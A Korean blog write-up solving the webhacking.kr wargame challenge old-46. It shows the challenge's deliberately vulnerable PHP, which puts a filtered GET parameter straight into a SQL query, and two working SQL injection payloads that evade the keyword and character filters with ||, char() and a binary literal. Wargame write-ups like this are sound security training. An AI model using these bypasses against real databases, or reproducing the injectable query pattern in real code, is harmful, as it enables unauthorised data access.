반응형
문제
<?php
include "../../config.php";
if($_GET['view_source']) view_source();
?><html>
<head>
<title>Challenge 46</title>
</head>
<body>
<h1>SQL INJECTION</h1>
<form method=get>
level : <input name=lv value=1><input type=submit>
</form>
<hr><a href=./?view_source=1>view-source</a><hr>
<?php
if($_GET['lv']){
$db = dbconnect();
$_GET['lv'] = addslashes($_GET['lv']);
$_GET['lv'] = str_replace(" ","",$_GET['lv']);
$_GET['lv'] = str_replace("/","",$_GET['lv']);
$_GET['lv'] = str_replace("*","",$_GET['lv']);
$_GET['lv'] = str_replace("%","",$_GET['lv']);
if(preg_match("/select|0x|limit|cash/i",$_GET['lv'])) exit();
$result = mysqli_fetch_array(mysqli_query($db,"select id,cash from chall46 where lv=$_GET[lv]"));
if($result){
echo("{$result['id']} information<br><br>money : {$result['cash']}");
if($result['id'] == "admin") solve(46);
}
}
?>
</body>
</html>
id가 admin일 때 문제가 해결된다.
문제풀이
lv=1부터 4까지는 정보가 나오며, 그 외에는 정보가 나오지 않는다.
공백, /, *, %, select, 0x 등 입력값에 대한 검증이 이루어진다.
이를 우회하여 아래와 같은 구문을 입력하면 문제가 해결된다.
or 대신 ||, 작은따옴표 대신 char 함수, 2진수를 이용했다.
select id,cash from chall46 where lv=0||id=char(97,100,109,105,110)
select id,cash from chall46 where lv=0||id=0b0110000101100100011011010110100101101110
반응형
'write-up(web) > webhacking.kr' 카테고리의 다른 글
[Webhacking.kr] old-48 (0) | 2023.01.04 |
---|---|
[Webhacking.kr] old-47 (0) | 2023.01.04 |
[Webhacking.kr] old-45 (0) | 2023.01.03 |
[Webhacking.kr] old-44 (0) | 2023.01.02 |
[Webhacking.kr] old-43 (0) | 2023.01.02 |